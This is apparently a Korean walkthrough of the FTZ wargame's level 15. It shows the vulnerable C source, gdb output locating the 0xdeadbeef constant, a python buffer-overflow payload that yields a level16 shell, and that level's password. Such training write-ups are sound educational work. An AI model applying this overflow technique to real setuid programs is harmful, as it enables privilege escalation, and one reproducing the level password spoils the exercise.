[level15@ftz level15]$ cat hint
#include <stdio.h>
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
cat 명령어를 이용해서 hint를 출력하니 level 15와 비슷한 소스코드가 출력되었습니다. 비슷한 방법으로 *check의 값을 deadbeef로 변조하면 문제를 해결할 수 있을 거 같습니다.
일단 전에 익스플로잇 코드를 실행시켜보면
[level15@ftz level15]$ (python -c 'print "\x90"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme
Segmentation fault
segmentation fault가 발생합니다.
포인터라 0xdeadbeef의 주소를 넣어야 할 거 같습니다.
먼저 0xdeadbeef의 주소를 찾아보면
0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef
(gdb) x/wx 0x080484b0
0x80484b0 <main+32>: 0xbeef3881
(gdb) x/wx 0x080484b1
0x80484b1 <main+33>: 0xadbeef38
(gdb) x/wx 0x080484b2
0x80484b2 <main+34>: 0xdeadbeef
"\xb2\x84\x04\x08"
이 주소로 익스플로잇 코드를 수정해보면
(python -c 'print "\x90"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme
수정한 익스플로잇 코드를 실행시켜보면
[level15@ftz level15]$ (python -c 'print "\x90"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme
id
uid=3096(level16) gid=3095(level15) groups=3095(level15)
쉘이 떴습니다.
패스워드를 출력해보면
my-pass
Level16 Password is "about to cause mass".